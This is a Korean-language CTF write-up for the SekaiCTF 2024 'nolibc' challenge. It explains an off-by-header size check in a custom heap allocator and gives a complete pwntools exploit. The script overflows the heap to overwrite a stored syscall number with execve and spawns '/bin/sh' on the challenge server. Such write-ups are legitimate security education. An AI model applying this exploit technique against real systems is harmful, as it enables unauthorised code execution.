SekaiCTF 2024 - nolibc

Posted on Tue 27 August 2024 in CTF

문제 분석

이름에서 볼 수 있듯이 libc를 사용하지 않고, 시스템 콜만을 이용하여 만들어진 프로그램이 주어진다. 이 프로그램에서는 힙을 따로 구현하고 있고, 힙 사이즈가 0x10000으로 작다.

취약점

이 프로그램에는 다음과 같은 문제가 존재한다.

  1. 프로그램에서 사용하는 힙 메모리의 크기보다 힙의 최대 크기가 작다.
  2. malloc 함수가 이상하다. 만약 남은 힙의 사이즈가 0x100이고 요청 들어온 청크의 사이즈가 0x100이면, 필요한 힙의 크기는 헤더를 포함하여 0x110이다. 하지만 malloc 함수에서는 0x110과 힙의 남은 크기를 비교하는 것이 아니라 0x100과 남은 힙의 크기를 비교한다. 따라서 남은 힙의 크기만큼의 요청이 들어오면 0x10만큼의 Heap Overflow가 일어날 수 있다.
  3. 시스템 콜의 RAX(SysNum)이 힙 영역 이후에 존재하며, 시스템콜을 호출할 때 이 값을 참조한다.

위와 같은 사실을 이용해서 힙을 모두 소진시키고 힙 영역 다음에 존재하는 시스템 콜 번호를 변조하여 쉘을 실행시킬 수 있다.

익스플로잇

from pwn import *

# context.log_level = "debug"


def login(id: str | bytes, passwd: str | bytes):
    if isinstance(id, str):
        id = id.encode()
    if isinstance(passwd, str):
        passwd = passwd.encode()

    p.sendlineafter(b": ", b"1")
    p.sendlineafter(b": ", id)
    p.sendlineafter(b": ", passwd)


def register(id: str | bytes, passwd: str | bytes):
    if isinstance(id, str):
        id = id.encode()
    if isinstance(passwd, str):
        passwd = passwd.encode()

    p.sendlineafter(b": ", b"2")
    p.sendlineafter(b": ", id)
    p.sendlineafter(b": ", passwd)


def add_string(size: int, data: str | bytes):
    if isinstance(data, str):
        data = data.encode()
    if len(data) != size + 1:
        data += b"\n"
    size = str(size).encode()

    p.sendlineafter(b": ", b"1")
    p.sendlineafter(b": ", size)
    p.sendafter(b": ", data)


def delete_string(idx: int):
    idx = str(idx).encode()

    p.sendlineafter(b": ", b"2")
    p.sendlineafter(b": ", idx)


def view_string():
    p.sendlineafter(b": ", b"3")


def save_to_file(filepath: str | bytes):
    if isinstance(filepath, str):
        filepath = filepath.encode()

    p.sendlineafter(b": ", b"4")
    p.sendlineafter(b": ", filepath)


def load_from_file(filepath: str | bytes):
    if isinstance(filepath, str):
        filepath = filepath.encode()

    p.sendlineafter(b": ", b"5")
    p.sendlineafter(b": ", filepath)


# p = process("./main")
p = remote("nolibc.chals.sekai.team", 1337, ssl=True)

register("a", "a")
login("a", "a")

# for _ in range(0xAA):
#     add_string(0x100, b"a" * 0x100)
pl = b"1\n" + b"256\n" + b"a" * 256 + b"\n"
p.send(pl * 0xAA)

pl = b""
pl += b"a" * (0x10 * 3)
pl += p32(0)
pl += p32(1)
pl += p32(59)
# add_string(len(pl), pl)
pl = b"1\n" + str(len(pl)).encode() + b"\n" + pl + b"\n"
p.send(pl)

# for _ in range(0xAB):
#     delete_string(0)
pl = b"2\n" + b"0\n"
p.send(pl * 0xAB)

# load_from_file("/bin/sh")
pl = b"5\n" + b"/bin/sh\n"
p.send(pl)

p.interactive()